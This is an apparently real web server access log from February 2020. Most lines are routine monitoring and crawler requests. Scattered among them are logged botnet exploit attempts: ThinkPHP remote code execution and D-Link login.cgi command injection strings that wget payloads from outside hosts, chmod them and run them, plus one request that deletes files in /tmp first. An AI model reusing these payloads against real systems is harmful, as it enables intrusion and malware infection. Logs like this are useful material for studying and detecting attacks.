181.129.108.86 - - [12/Feb/2020:18:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:18:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.85 - - [12/Feb/2020:18:56:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.32 - - [12/Feb/2020:18:56:38 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [12/Feb/2020:18:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
207.46.13.54 - - [12/Feb/2020:18:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
79.141.211.22 - - [12/Feb/2020:18:56:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:18:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:18:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [12/Feb/2020:18:59:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:18:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.100.236 - - [12/Feb/2020:18:59:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.52.254 - - [12/Feb/2020:19:00:57 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:19:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.97.196 - - [12/Feb/2020:19:04:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.226.175.134 - - [12/Feb/2020:19:07:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.154.122.85 - - [12/Feb/2020:19:09:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.203.251.107 - - [12/Feb/2020:19:12:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.23.148.34 - - [12/Feb/2020:19:14:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:19:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.212.89.95 - - [12/Feb/2020:19:17:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [12/Feb/2020:19:19:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [12/Feb/2020:19:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [12/Feb/2020:19:30:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:19:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [12/Feb/2020:19:31:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [12/Feb/2020:19:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.78.72.242 - - [12/Feb/2020:19:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
159.203.196.79 - - [12/Feb/2020:19:33:50 +0100] "GET / HTTP/1.1" 200 1229 "212.91.246.89" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
212.91.246.72 - - [12/Feb/2020:19:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.9.204 - - [12/Feb/2020:19:36:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [12/Feb/2020:19:41:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
79.1.158.57 - - [12/Feb/2020:19:42:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.68.246.198 - - [12/Feb/2020:19:42:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [12/Feb/2020:19:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.115.201 - - [12/Feb/2020:19:43:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.119.37 - - [12/Feb/2020:19:44:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:19:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.197.134.183 - - [12/Feb/2020:19:45:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:19:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [12/Feb/2020:19:46:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:19:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.0.238 - - [12/Feb/2020:19:49:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:19:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.97.196 - - [12/Feb/2020:19:57:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.52.24.163 - - [12/Feb/2020:19:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:19:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:19:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [12/Feb/2020:20:02:02 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
190.186.46.99 - - [12/Feb/2020:20:02:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:20:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.92 - - [12/Feb/2020:20:08:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.171.180.11 - - [12/Feb/2020:20:10:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:20:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.34.76.147 - - [12/Feb/2020:20:12:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.9.121 - - [12/Feb/2020:20:13:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.115.116 - - [12/Feb/2020:20:16:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.116.85.182 - - [12/Feb/2020:20:17:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:20:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.90.158 - - [12/Feb/2020:20:20:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.34.76.147 - - [12/Feb/2020:20:22:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [12/Feb/2020:20:23:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:20:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [12/Feb/2020:20:23:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [12/Feb/2020:20:23:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
